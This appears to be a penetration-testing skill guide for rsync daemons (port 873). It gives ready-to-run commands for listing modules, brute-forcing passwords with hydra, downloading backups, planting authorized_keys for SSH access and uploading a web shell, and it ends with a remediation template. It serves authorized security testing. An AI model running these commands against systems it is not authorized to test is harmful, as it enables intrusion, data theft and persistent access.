Red Pentesting Rsync

---
name: red-pentesting-rsync
description: Testing rsync daemon services (default port 873) for unauthenticated module listing and access, weak/default credentials and brute force, arbitrary file read/download and write/upload (including authorized_keys planting), and rsyncd.conf/secrets misconfiguration during authorized engagements.
domain: red
category: network
hide: true
license: Apache-2.0
metadata:
  manifest_entry: src/corpus/red-pentesting-rsync/SKILL.md
---
# Pentesting rsync (port 873)

## When to Use
- Default port `873/tcp` for the rsync daemon protocol (`rsync://`); alternate ports such as `8730` are common on NAS devices.
- When `nmap`/banner shows `rsync` or a connection returns an `@RSYNCD: <version>` banner.
- For enumerating exposed "modules" (directory shares), assessing auth requirements, and testing read/write access.

## Quick Enumeration
```bash
# Banner grab + manual module listing
nc -vn <IP> 873
# Server greets:  @RSYNCD: 31.0   -> echo same line back, then send:  #list
# Server enumerates modules, e.g.:  raidroot  USBCopy  NAS_Public  ... then @RSYNCD: EXIT

# nmap module listing
nmap -sV --script "rsync-list-modules" -p 873 <IP>

# Metasploit module listing
msfconsole -q -x 'use auxiliary/scanner/rsync/modules_list; set RHOSTS <IP>; run; exit'

# Native client listing (also IPv6 / alternate port)
rsync -av --list-only rsync://<IP>
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```

## Critical: Checks Most Often Missed
- **Unauthenticated module access** — many modules require no password and allow full read (and sometimes write). The #1 miss.
  - How to CONFIRM:
    ```bash
    rsync -av --list-only rsync://<IP>/<module>     # lists without prompting = no auth
    rsync -av rsync://<IP>/<module> ./loot          # downloads recursively
    ```
- **Auth-required modules revealed by the protocol** — a module that responds `@RSYNCD: AUTHREQD <challenge>` confirms a password gate worth brute forcing.
  - How to CONFIRM: manual `nc` listing shows `@RSYNCD: AUTHREQD ...` for that module name.
- **Writable modules → key planting / file overwrite** — write access lets you drop `authorized_keys`, cron jobs, or web shells.
  - How to CONFIRM:
    ```bash
    rsync -av ~/.ssh/ rsync://<IP>/<module>/<user>/.ssh    # upload authorized_keys
    ```
- **Hidden modules** — some shares are not listed; test guessed names (`home`, `backup`, `www`, `etc`, `share`).
- **rsyncd.conf / secrets file** (post-access) — `secrets file` points to a `user:password` file usable for further auth.
  - How to CONFIRM: `find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)`.

## Workflow

### Step 1: Enumerate (modules, auth requirement, version)
```bash
nc -vn <IP> 873                 # @RSYNCD banner; send back version line then #list
nmap -sV --script rsync-list-modules -p 873 <IP>
rsync -av --list-only rsync://<IP>          # list modules
rsync -av --list-only rsync://<IP>/<module> # probe a module for auth prompt
```

### Step 2: Authenticate (anonymous, default, brute force)
```bash
# Anonymous (no creds) listing/copy
rsync -av --list-only rsync://<IP>/<module>

# With credentials (password prompt appears)
rsync -av --list-only rsync://<user>@<IP>/<module>

# Brute force a protected module
hydra -l <user> -P passwords.txt rsync://<IP>
nxc rsync <IP> -u users.txt -p passwords.txt 2>/dev/null   # if supported by your build
```

### Step 3: Exploit / Extract (download, upload, key planting)
```bash
# Recursively download a share (preserves attributes/permissions)
rsync -av rsync://<IP>:873/<module> ./rsync_shared
rsync -av rsync://<user>@<IP>:8730/<module> ./rsync_shared

# Upload content (e.g., authorized_keys for SSH access)
rsync -av ~/.ssh/ rsync://<user>@<IP>/<home_module>/.ssh

# Drop a web shell into a writable web module
rsync -av ./shell.php rsync://<IP>/<www_module>/
```

### Step 4: Post-access / pivot
- If you planted `authorized_keys`, connect: `ssh -i ~/.ssh/id_rsa <user>@<IP>`.
- Locate config/secrets for additional creds: `find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)`.
- Mine downloaded backups for credentials, source code, and configuration to pivot to other services.

## Key Concepts
| Concept | Description |
|---------|-------------|
| **rsync daemon** | Native `rsync://` protocol on 873 exposing named "modules". |
| **Module** | A directory share, optionally password-protected, defined in `rsyncd.conf`. |
| **@RSYNCD handshake** | Server sends `@RSYNCD: <ver>`; client echoes it, then `#list` or a module name. |
| **AUTHREQD** | `@RSYNCD: AUTHREQD <challenge>` indicates the module needs a password. |
| **Writable module** | Write access enables file overwrite, key planting, and web-shell upload. |
| **secrets file** | `rsyncd.conf` `secrets file` directive points to a `user:pass` credential file. |

## Tools & Systems
| Tool | Purpose |
|------|---------|
| **rsync (client)** | Module listing, recursive download, and upload over `rsync://`. |
| **nc** | Manual `@RSYNCD` handshake, module enumeration, auth-requirement detection. |
| **nmap NSE** | `rsync-list-modules`. |
| **Metasploit** | `auxiliary/scanner/rsync/modules_list`. |
| **hydra** | Brute force of password-protected modules. |
| **find** | Post-access discovery of `rsyncd.conf` / `rsyncd.secrets`. |

## Common Scenarios
### Scenario 1: Anonymous backup module → data exfiltration
`rsync -av --list-only rsync://<IP>/backup` lists files without a prompt. `rsync -av rsync://<IP>/backup ./loot` downloads full system backups containing `/etc/shadow` and SSH keys.

### Scenario 2: Writable home module → SSH access
A `home_user` module is writable. Uploading `authorized_keys` via `rsync -av ~/.ssh/ rsync://user@<IP>/home_user/.ssh` then `ssh user@<IP>` yields an interactive shell.

### Scenario 3: NAS on alternate port
A NAS exposes rsync on 8730. `rsync -av --list-only rsync://<IP>:8730` reveals `NAS_Public` with read access to shared documents and stored credentials.

## Output Format
```
## rsync Finding

**Service**: rsync daemon
**Port**: 873/tcp (protocol 31.0)
**Severity**: High
**Finding**: Unauthenticated, writable module exposing the filesystem
**Evidence**:
  - rsync-list-modules: "backup", "home_user", "www"
  - rsync -av --list-only rsync://<IP>/backup listed files with no auth
  - uploaded authorized_keys to rsync://<IP>/home_user/.ssh and obtained SSH access
**Impact**: Unauthenticated attackers can read sensitive backups and write SSH keys/web shells, leading to full host compromise.
**Recommendation**:
  1. Require authentication on every module (`auth users` + `secrets file`).
  2. Set `read only = yes` unless write is strictly needed; scope `path` tightly.
  3. Bind rsyncd to management networks / restrict by `hosts allow`, or tunnel rsync over SSH instead.
```